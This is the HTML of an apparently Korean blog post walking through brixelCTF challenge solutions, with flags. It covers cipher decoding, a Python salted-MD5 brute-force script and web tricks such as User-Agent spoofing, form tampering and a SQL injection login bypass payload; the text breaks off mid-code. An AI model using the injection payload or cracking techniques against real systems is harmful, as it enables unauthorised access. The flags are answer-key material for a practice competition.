&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{baguette}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Cryptography :: Merda&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROT13, amount=21&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{pizzanapoli}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Cryptography :: s̸͖̾̀͊͠h̸̜̒ï̷̧̲͙̭̤͛͒̋t̷̢̲͚͖̑͜&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BASE64 + Binary Conversion&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{robocop}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Cryptography :: Schei&amp;szlig;e&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Abwehr Enigma G-312&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflector: UKW, Ring=Z, Position=K&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rotor II, Ring=F, Position=L / Rotor I, Ring=P, Position=Q / Rotor III, Ring=A, Position=L&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Der Flag ist Sauerkraut&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: Sauerkraut&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Cryptography :: flawed&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MD5 rainbow table decrypt&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: notsecure&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Cryptography :: Don't be salty&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MD5 bruteforce&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;binascii&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;hashlib&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;string&lt;br /&gt;&lt;br /&gt;SALT&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'04532@#!!'&lt;/span&gt;&lt;br /&gt;HASH&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\x2b\xaf\xea\x54\xca\xf6\xf8\xd7\x18\xbe\x0f\x23\x47\x93\xa9\xbe&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;__name__&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'__main__'&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;v&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;range&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;26&lt;/span&gt;**&lt;span style=&quot;color: #b5cea8;&quot;&gt;5&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;s&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;''&lt;/span&gt;.join([string.ascii_lowercase[(v//(&lt;span style=&quot;color: #b5cea8;&quot;&gt;26&lt;/span&gt;**i))%&lt;span style=&quot;color: #b5cea8;&quot;&gt;26&lt;/span&gt;]&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;i&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;range&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;5&lt;/span&gt;)][::-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h&amp;nbsp;=&amp;nbsp;hashlib.md5((s+SALT).encode()).digest()&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;h&amp;nbsp;==&amp;nbsp;HASH&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;print&lt;/span&gt;(s)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brute&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Easy&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인페이지의 소스에 주석으로 플래그가 달려있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{notsosecret}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Hidden Code&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: mario&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: robotopia&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;robots.txt&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{sadr0b0tz}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Discord&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{th4nk5_f0r_r34d1ng_th3_rulz}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: login1&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;verify 함수에 플래그가 그대로 들어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{w0rst_j4v4scr1pt_3v3r!}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: login2&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;login1 문제와 같은 형식이고 순서만 잘 맞춰주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{st1ll_b4d_j4v45cr1pt_h3r3.18079054270}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: login3&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password.txt&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{n0t_3v3n_cl05e_t0_s3cur3!}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: login4&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password.txt + BASE64&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{even_base64_wont_make_you_secure}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Browsercheck&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;User-Agent 헤더를 &lt;code&gt;Mozilla/5.0 (compatible; Ask Jeeves/Teoma +http://about.ask.com/en/docs/about/webmasters.shtml)&lt;/code&gt; 로 바꾸고 요청을 보내면 플래그가 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{askwho?}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Readme&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: freepoints&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: SnackShack&amp;nbsp;awards&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;options 태그에서 value를 5000으로 바꾼 뒤 투표하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{bakpau}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Flat&amp;nbsp;earth&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin.php에서 username에 SQL Injection으로 항상 참을 만들어 주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'OR'1'='1' --&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{aroundtheglobe}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: Hiding&amp;nbsp;in&amp;nbsp;the&amp;nbsp;background&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메인페이지에 있는 svg 파일을 열어보면 플래그를 발견할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{happy_holidays}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Internet :: login5&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;난독화가 가볍게 적용되어 있어서 하나하나 풀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;난독화를 해제한 코드는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;verify&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;password&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;document&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;getElementById&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'get_password'&lt;/span&gt;).&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;'abcdefghijklmnopqrstuvwxyz1234567890!{}'&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x11&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x8&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x17&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x4&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xb&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x2&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x13&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x5&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x2&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x4&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;newpassword&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;alphabet&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;substr&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x1&lt;/span&gt;),&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: 